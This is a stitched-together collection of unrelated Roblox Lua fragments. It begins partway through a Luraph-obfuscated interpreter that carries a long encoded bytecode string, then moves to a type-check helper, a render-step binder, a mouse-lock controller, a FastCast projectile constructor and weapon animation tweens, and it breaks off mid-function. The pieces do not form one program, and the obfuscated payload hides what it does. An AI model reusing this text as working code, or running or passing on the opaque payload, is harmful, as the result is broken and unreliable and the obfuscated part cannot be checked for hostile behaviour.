lI1Il1Ii1I1liIIi1Ii[IiIi11i11ililiIlIil[67984]] = IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = illil1I1iIIlliil1Il[IiIi11i11ililiIlIil[36151]] end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = IiIi11i11ililiIlIil[67984] end elseif l1i1lIlIi1lii1ilIiI >= 15 then if l1i1lIlIi1lii1ilIiI >= 18 then if l1i1lIlIi1lii1ilIiI < 19 then local iI11i1IIIl1l1ilIii1 = IiIi11i11ililiIlIil[130555] local lIlIIli1liII1I1II1i1i = IiIi11i11ililiIlIil[36151] local Iii1ll1Ilii111li11i = IiIi11i11ililiIlIil[36691] local lIlIliiI1lIIIiIi1iIli, lil1ii11lIllilI1iii, l11iiIllIIlI1liIIil if lIlIIli1liII1I1II1i1i ~= 1 then if lIlIIli1liII1I1II1i1i ~= 0 then lil1ii11lIllilI1iii = iI11i1IIIl1l1ilIii1 + lIlIIli1liII1I1II1i1i - 1 else lil1ii11lIllilI1iii = ll1iIIll1iiIi1II1Il end lil1ii11lIllilI1iii, lIlIliiI1lIIIiIi1iIli = lIiIIiIli1illl11lIl(IIlii1illiiiIii1il1[iI11i1IIIl1l1ilIii1](iIiiII1IiI1lil1l1l1(IIlii1illiiiIii1il1, iI11i1IIIl1l1ilIii1 + 1, lil1ii11lIllilI1iii))) else lil1ii11lIllilI1iii, lIlIliiI1lIIIiIi1iIli = lIiIIiIli1illl11lIl(IIlii1illiiiIii1il1[iI11i1IIIl1l1ilIii1]()) end if Iii1ll1Ilii111li11i ~= 1 then if Iii1ll1Ilii111li11i ~= 0 then lil1ii11lIllilI1iii = iI11i1IIIl1l1ilIii1 + Iii1ll1Ilii111li11i - 2 ll1iIIll1iiIi1II1Il = lil1ii11lIllilI1iii + 1 else lil1ii11lIllilI1iii = lil1ii11lIllilI1iii + iI11i1IIIl1l1ilIii1 - 1 ll1iIIll1iiIi1II1Il = lil1ii11lIllilI1iii end l11iiIllIIlI1liIIil = 0 for ll1i1IiIlIiIIIiIiIi = iI11i1IIIl1l1ilIii1, lil1ii11lIllilI1iii do l11iiIllIIlI1liIIil = l11iiIllIIlI1liIIil + 1 IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = lIlIliiI1lIIIiIi1iIli[l11iiIllIIlI1liIIil] end else ll1iIIll1iiIi1II1Il = iI11i1IIIl1l1ilIii1 - 1 end for ll1i1IiIlIiIIIiIiIi = ll1iIIll1iiIi1II1Il + 1, iI1I1I1IiiI1illiI1l do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = nil end elseif l1i1lIlIi1lii1ilIiI ~= 20 then local lIlIIIlIi1i1iII1iIili = lIllII111lii1iiIl1liI[IiIi11i11ililiIlIil[123859]] local iI1iIl1lIilli1li1lI = {} if lIlIIIlIi1i1iII1iIili[IiI1IIlllililIIllli] > 0 then do local III1i1Ii1Il1ilIi1iI = {} iI1iIl1lIilli1li1lI = llI1II1li1l1I1I11Ii({}, { __index = function(lIlill1IIliIlliI1lI, lii11I1lll1lii1I1I1) local iliI1iI1l1l1IliII1l = III1i1Ii1Il1ilIi1iI[lii11I1lll1lii1I1I1] return iliI1iI1l1l1IliII1l[1][iliI1iI1l1l1IliII1l[2]] end, __newindex = function(lIlill1IIliIlliI1lI, lii11I1lll1lii1I1I1, iI11IiI1lil1l1llII1) local iliI1iI1l1l1IliII1l = III1i1Ii1Il1ilIi1iI[lii11I1lll1lii1I1I1] iliI1iI1l1l1IliII1l[1][iliI1iI1l1l1IliII1l[2]] = iI11IiI1lil1l1llII1 end }) for ll1i1IiIlIiIIIiIiIi = 1, lIlIIIlIi1i1iII1iIili[IiI1IIlllililIIllli] do local i1ll11iii1IiiIiIiI1 = II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] if i1ll11iii1IiiIiIiI1[IIIl11Illl1illilIil] == I1IiilliiIil1liI1Ii then III1i1Ii1Il1ilIi1iI[ll1i1IiIlIiIIIiIiIi - 1] = { IIlii1illiiiIii1il1, i1ll11iii1IiiIiIiI1[lIlIIlIli1II11l11IIll] } elseif i1ll11iii1IiiIiIiI1[IIIl11Illl1illilIil] == llIIl1IIIiIiIIili1i then III1i1Ii1Il1ilIi1iI[ll1i1IiIlIiIIIiIiIi - 1] = { illil1I1iIIlliil1Il, i1ll11iii1IiiIiIiI1[lIlIIlIli1II11l11IIll] } end ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 end if not lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1] then lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1] = {III1i1Ii1Il1ilIi1iI} else lIl1Ii1iIlllliil1IIil(lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1], III1i1Ii1Il1ilIi1iI) end end end local I1Iilli11lIIIillilI = il11i1iIIillI11lii1(lIlIIIlIi1i1iII1iIili, lI1Il1Ii1I1liIIi1Ii, iI1iIl1lIilli1li1lI) IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = I1Iilli11lIIIillilI else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = { iIiiII1IiI1lil1l1l1(i1il111IilllIiIIilI, 1, IiIi11i11ililiIlIil[36151] == 0 and 255 or IiIi11i11ililiIlIil[36151]) } end elseif l1i1lIlIi1lii1ilIiI < 16 then local II1I1II1lIiI1liiIi1 = IiIi11i11ililiIlIil[130555] if not not II1I1II1lIiI1liiIi1 == (IiIi11i11ililiIlIil[36691] == 0) then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = II1I1II1lIiI1liiIi1 end elseif l1i1lIlIi1lii1ilIiI ~= 17 then IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = (IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]) * (IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]) else ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + (IiIi11i11ililiIlIil[123859] - liilIllIlil1iiI11II) end elseif l1i1lIlIi1lii1ilIiI < 12 then if l1i1lIlIi1lii1ilIiI == 11 then IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]][IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]] = IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]] else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = lI1Il1Ii1I1liIIi1Ii[IiIi11i11ililiIlIil[67984]] end elseif l1i1lIlIi1lii1ilIiI >= 13 then if l1i1lIlIi1lii1ilIiI == 14 then if IiIi11i11ililiIlIil[36691] == 21 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 13, [130555] = (IiIi11i11ililiIlIil[130555] - 34) % 256, [36151] = (IiIi11i11ililiIlIil[36151] - 34) % 256 } elseif IiIi11i11ililiIlIil[36691] == 6 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 8, [130555] = (IiIi11i11ililiIlIil[130555] - 3) % 256, [36151] = (IiIi11i11ililiIlIil[36151] - 3) % 256 } else local iI11i1IIIl1l1ilIii1 = IiIi11i11ililiIlIil[130555] local li1l111i1liIllI1lI1 = IiIi11i11ililiIlIil[36151] local l1lllIiiiiIl1lIlIiI = li1l111i1liIllI1lI1 > 0 and li1l111i1liIllI1lI1 - 1 or Iili1IlIIlilI1iI1Ii - lIlIIiiIiil11llillIlI if l1lllIiiiiIl1lIlIiI < 0 then l1lllIiiiiIl1lIlIiI = -1 end for ll1i1IiIlIiIIIiIiIi = iI11i1IIIl1l1ilIii1, iI11i1IIIl1l1ilIii1 + l1lllIiiiiIl1lIlIiI do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = lIlIIli1liII1I1II1i1i[lIlIIiiIiil11llillIlI + (ll1i1IiIlIiIIIiIiIi - iI11i1IIIl1l1ilIii1) + 1] end if li1l111i1liIllI1lI1 == 0 then ll1iIIll1iiIi1II1Il = iI11i1IIIl1l1ilIii1 + l1lllIiiiiIl1lIlIiI for ll1i1IiIlIiIIIiIiIi = ll1iIIll1iiIi1II1Il + 1, iI1I1I1IiiI1illiI1l do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = nil end end end elseif IiIi11i11ililiIlIil[36691] == 199 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 5, [130555] = (IiIi11i11ililiIlIil[130555] - 100) % 256, [36691] = (IiIi11i11ililiIlIil[36151] - 100) % 256 } else for ll1i1IiIlIiIIIiIiIi = IiIi11i11ililiIlIil[130555], IiIi11i11ililiIlIil[36151] do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = nil end end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = (IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]) / (IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]) end end end local lllIIil1ll1Ili111i1, II1Ill111ii1l1iliil, iIli1I1IIllIi1IIIii, lIIiI1lll1IIiliIllI = IiiiillI1i1ill111lI(l11iiIllIIlI1liIIil) if lllIIil1ll1Ili111i1 then if iIli1I1IIllIi1IIIii then return iIiiII1IiI1lil1l1l1(IIlii1illiiiIii1il1, iIli1I1IIllIi1IIIii, lIIiI1lll1IIiliIllI) end else IiII1ll11lliIiill1I("Luraph Script:" .. (iIiiIili1liiIi1ilI1[ili1lIiIlllI1iIllll - 1] or "") .. ": " .. lIli1l1iilliiiillIIl1(II1Ill111ii1l1iliil), 0) end end l1lilll11i11lIIi1Ii(l1IiIlil1i1lIIIllIl, lI1Il1Ii1I1liIIi1Ii) return l1IiIlil1i1lIIIllIl end local lIli11i1I1llIi11il1lI = liil11lIIl1liIIl1l1() return il11i1iIIillI11lii1(lIli11i1I1llIi11il1lI, lI1Il1Ii1I1liIIi1Ii)() end lIlIlllIiili1iliI11li("LPH!8A090B222H043000340300032H007A2H0087B05423E486240DA0660A0200A32H090B4DF12HF0BC3H531F3HA2B23H0D25852H84CC3HB7AF875F82635H00950A020065C95H00E49440097D3D6FE8405571184FD9CCC07A5822E0013H00872H004069C97AF762087CD3EC0A0200B3411614522HE3E1A9332H38102HCBC98F002H0A222H2527252F0C0E487F6E6F5B4241BFFA02292B6DAB2HA088F6D3D197113230768BC765D52HF6F4BCFC2HF7DF2H6664227B2H71592H080A08C9DBD99F8A5B5A6E494AB4F12HDCDE98752H7F570B170C22B72HB9912H707234E92HE3CB8882868A92827C39293BC580122D8F3FB5B2B6FE658F90342HD8DA9C2HEBE9AFA8AAA8EE4E2H456D4253ADE82H8D8FC7512H5E7606494B2H0D4042042HF1F3BBD02HD2FA2H0D0F499E2H94BC170D15172B0604429B2H91B92HA8AAA82HFBF9BF1DD072C22HD7D59DB4EC615B989F9B972HAEACEADFF351E12H121058002H032B2822206628B715A56760642C43A9B6122H5654122H2123659087793C002H0B232H4A480E6F2H654D49554E60A6AFADEB2HFEFCBA632H6941E1E0E4E82H131157707372462F292D652H343670941DBF0FA7A4A6EE074EB0F5462H48602H1B195F902H9AB2FFF5F1FDB5E31D5838BEBF8BB2B14F0AF8F9FBBD3HB0FC292H230BCD2HC2EAAFBDBFF9140406404E472H4F2HF6F4B2D74041751B1C18502B0B292B2HEAE8AED1AF0DBDEEE8ECA42H30CE8BFB100FAB2H898BCD2H8082C4AECC32771C2H123A85B24C09DE2HD4FC91A856134C2H466ED2D1D5F92HE8EAAC313B3F133E3A32122H151751B6BCB4947820DE9B4B11EFAA132H1931585054782H4341076862664AD9DDD5F52HA4A6E06D676F4F2A6997D2DB9E602559AD688339C6A25431FE79B9AC40B6BCD87E3CDCF5FC81D3BD1FC17CC8610AAD1725E763B38F505F4FBEF689D15CD25B03827H00093H000A9H002H000A9H006H000F3H00109H006H00033H00049H002H00049H009H005H00023H00039H002H00039H006H00013H00019H002H00013H00027H00043H00079H002H000A3H000D9H002H000D9H002H00109H002H00103H00113H000E9H002H000E3H000F9H002H00073H00079H002H00073H00089H002H00089H006H000F9H002H000F9H002H000F7H00099H002H00099H009H009H00019H002H000D9H002H000D3H000D9H002H000D7H000D9H002H000D3H000E9H009H001H00019H002H00019H009H005H00079H002H00079H009H001H00A50A0200D9800B3H008A9F6C316AC6A3812048CDC92H0040E622EDF44180083H0039F62B189A7BC299800B3H0041BEB3607787463120F45E80093H00A80DAABFFC2327AD84800C3H00157247D41D7F38597F56AA7880043H0061DED380C99A5H99B93F80093H00250257640CD429A75F800E3H00CADFAC713C967E66F7158210550EC98H00800A3H00583D5AEF4FE28C9AD031FB800E3H0022778489811E9C1E8F8DBAF8ED6680083H003055B28763F83FFF800C3H00785D7A0F2EC06976B11023FB800C3H00A4A9E69B411E596B99D5C74CB1E0472CD6411D08711ECE431F694005AB4H00FB0E7938AF118C66", liI11IIlil1lIIIilI1())
--[[** ensures value is either nil or passes check @param check The check to use @returns A function that will return true iff the condition is passed **--]]
function t.optional(check) assert(t.callback(check)) return function(value) if value == nil then return true end local success, errMsg = check(value) if success then return true else return false, string.format("(optional) %s", errMsg or "") end end end
--[=[ Binds the given update function to [RunService.RenderStepped]. ```lua local spring = Spring.new(0) local maid = Maid.new() local startAnimation, maid._stopAnimation = StepUtils.bindToRenderStep(function() local animating, position = SpringUtils.animating(spring) print(position) return animating end) spring.t = 1 startAnimation() ``` :::tip Be sure to call the disconnect function when cleaning up, otherwise you may memory leak. ::: @param update () -> boolean -- should return true while it needs to update @return (...) -> () -- Connect function @return () -> () -- Disconnect function ]=]
function StepUtils.bindToRenderStep(update) return StepUtils.bindToSignal(RunService.RenderStepped, update) end
-- SOUND SETTINGS
local Indicator_Stack_On = 6212970852 -- ID for the indicator stack being on. local Indicator_Stack_Off = 6212970338 -- ID for the indicator stack being off. local Indicator_Click_On = 6212969851 -- ID for the indicator state being on. local Indicator_Click_Off = 6212969290 -- ID for the indicator state being off.
--[[ The Module ]]
-- local MouseLockController = {} MouseLockController.__index = MouseLockController function MouseLockController.new() local self = setmetatable({}, MouseLockController) self.isMouseLocked = false self.savedMouseCursor = nil self.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults self.mouseLockToggledEvent = Instance.new("BindableEvent") local boundKeysObj = script:FindFirstChild("BoundKeys") if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then -- If object with correct name was found, but it's not a StringValue, destroy and replace if boundKeysObj then boundKeysObj:Destroy() end boundKeysObj = Instance.new("StringValue") boundKeysObj.Name = "BoundKeys" boundKeysObj.Value = "LeftShift,RightShift" boundKeysObj.Parent = script end if boundKeysObj then boundKeysObj.Changed:Connect(function(value) self:OnBoundKeysObjectChanged(value) end) self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call end -- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly GameSettings.Changed:Connect(function(property) if property == "ControlMode" or property == "ComputerMovementMode" then self:UpdateMouseLockAvailability() end end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function() self:UpdateMouseLockAvailability() end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:UpdateMouseLockAvailability() end) self:UpdateMouseLockAvailability() return self end function MouseLockController:GetIsMouseLocked() return self.isMouseLocked end function MouseLockController:GetBindableToggleEvent() return self.mouseLockToggledEvent.Event end function MouseLockController:GetMouseLockOffset() local offsetValueObj = script:FindFirstChild("CameraOffset") if offsetValueObj and offsetValueObj:IsA("Vector3Value") then return offsetValueObj.Value else -- If CameraOffset object was found but not correct type, destroy if offsetValueObj then offsetValueObj:Destroy() end offsetValueObj = Instance.new("Vector3Value") offsetValueObj.Name = "CameraOffset" offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value offsetValueObj.Parent = script end if offsetValueObj and offsetValueObj.Value then return offsetValueObj.Value end return Vector3.new(1.75,0,0) end function MouseLockController:UpdateMouseLockAvailability() local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable if MouseLockAvailable~=self.enabled then self:EnableMouseLock(MouseLockAvailable) end end function MouseLockController:OnBoundKeysObjectChanged(newValue) self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values for token in string.gmatch(newValue,"[^%s,]+") do for keyCode, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do if token == keyEnum.Name then self.boundKeys[#self.boundKeys+1] = keyEnum break end end end self:UnbindContextActions() self:BindContextActions() end
-- Ctor
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast if typeof(velocity) == "number" then velocity = direction.Unit * velocity end if castDataPacket.HighFidelitySegmentSize <= 0 then error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0) end -- Basic setup local cast = { Caster = caster, -- Data that keeps track of what's going on as well as edits we might make during runtime. StateInfo = { UpdateConnection = nil, Paused = false, TotalRuntime = 0, DistanceCovered = 0, HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize, HighFidelityBehavior = castDataPacket.HighFidelityBehavior, IsActivelySimulatingPierce = false, IsActivelyResimulating = false, CancelHighResCast = false, Trajectories = { { StartTime = 0, EndTime = -1, Origin = origin, InitialVelocity = velocity, Acceleration = castDataPacket.Acceleration } } }, -- Information pertaining to actual raycasting. RayInfo = { Parameters = castDataPacket.RaycastParams, WorldRoot = workspace, MaxDistance = castDataPacket.MaxDistance or 1000, CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down. CanPierceCallback = castDataPacket.CanPierceFunction }, UserData = {} } if cast.StateInfo.HighFidelityBehavior == 2 then cast.StateInfo.HighFidelityBehavior = 3 end if cast.RayInfo.Parameters then cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters) else cast.RayInfo.Parameters = RaycastParams.new() end local usingProvider = false if not castDataPacket.CosmeticBulletProvider then -- The provider is nil. Use a cosmetic object clone. if cast.RayInfo.CosmeticBulletObject then cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone() cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction) cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer end else -- The provider is not nil. -- Is it what we want? if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then -- this modded version of typeof is implemented up top. -- Aside from that, yes, it's a part cache. Good to go! if cast.RayInfo.CosmeticBulletObject ~= nil then -- They also set the template. Not good. Warn + clear this up. warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.") cast.RayInfo.CosmeticBulletObject = nil castDataPacket.CosmeticBulletTemplate = nil end cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart() cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction) usingProvider = true else warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.") castDataPacket.CosmeticBulletProvider = nil end end local targetContainer: Instance; if usingProvider then targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent else targetContainer = castDataPacket.CosmeticBulletContainer end if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances if table.find(ignoreList, targetContainer) == nil then table.insert(ignoreList, targetContainer) cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList end end local event if RunService:IsClient() then event = RunService.RenderStepped else event = RunService.Heartbeat end setmetatable(cast, ActiveCastStatic) cast.StateInfo.UpdateConnection = event:Connect(function (delta) if cast.StateInfo.Paused then return end PrintDebug("Casting for frame.") local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories] if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then local timeAtStart = tick() if cast.StateInfo.IsActivelyResimulating then cast:Terminate() error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.") end cast.StateInfo.IsActivelyResimulating = true -- Actually want to calculate this early to find displacement local origin = latestTrajectory.Origin local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local initialVelocity = latestTrajectory.InitialVelocity local acceleration = latestTrajectory.Acceleration local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime cast.StateInfo.TotalRuntime += delta -- Recalculate this. totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now. local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta local targetWorldRoot = cast.RayInfo.WorldRoot local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters) local point = currentPoint if resultOfCast then point = resultOfCast.Position end local rayDisplacement = (point - lastPoint).Magnitude -- Now undo this. The line below in the for loop will add this time back gradually. cast.StateInfo.TotalRuntime -= delta -- And now that we have displacement, we can calculate segment size. local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments if (numSegmentsReal == 0) then numSegmentsReal = 1 end local timeIncrement = delta / numSegmentsReal for segmentIndex = 1, numSegmentsReal do if getmetatable(cast) == nil then return end -- Could have been disposed. if cast.StateInfo.CancelHighResCast then cast.StateInfo.CancelHighResCast = false break end PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement) SimulateCast(cast, timeIncrement, true) end if getmetatable(cast) == nil then return end -- Could have been disposed. cast.StateInfo.IsActivelyResimulating = false if (tick() - timeAtStart) > 0.016 * 5 then warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.") end else SimulateCast(cast, delta, false) end end) return cast end function ActiveCastStatic.SetStaticFastCastReference(ref) FastCast = ref end
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; -- Reload Anim ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() wait(0.2) local MagC = objs[4]:clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866193, -1.15439999, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play() wait(0.1) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-2.63354445, 0.365644455, -0.92290014, -0.0482801795, -0.826441228, 0.560948968, 0.376857162, 0.505025029, 0.776484549, -0.925012231, 0.248886406, 0.287067622)}):Play() wait(0.75) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.98033559, 0.365644455, -1.12859631, -0.281058222, -0.892398655, -0.353031129, -0.101086289, -0.338284373, 0.935598731, -0.954351902, 0.298644274, 0.00486823916)}):Play() wait(0.10) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() wait(0.10) objs[6]:WaitForChild('MagIn'):Play() ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play() wait(0.10) ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866186, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.0448053852, -0.470608532, 0.881203771, -0.650687635, -0.683063805, -0.331706822)}):Play() ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(-0.543338716, 0.753075361, -2.10391617, 0.491499543, -0.870869577, -0.00377259403, -0.594625771, -0.338752329, 0.729154944, -0.63627702, -0.356136084, -0.684338093)}):Play() wait(0.1) MagC:Destroy() objs[4].Transparency = 0 end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.530990303, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.45) TweenJoint(objs[2], nil , CFrame.new(2.1115706, -0.937148452, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.5) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(1.00409043, -1.18411899, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.817838132, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.854931653, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.25) 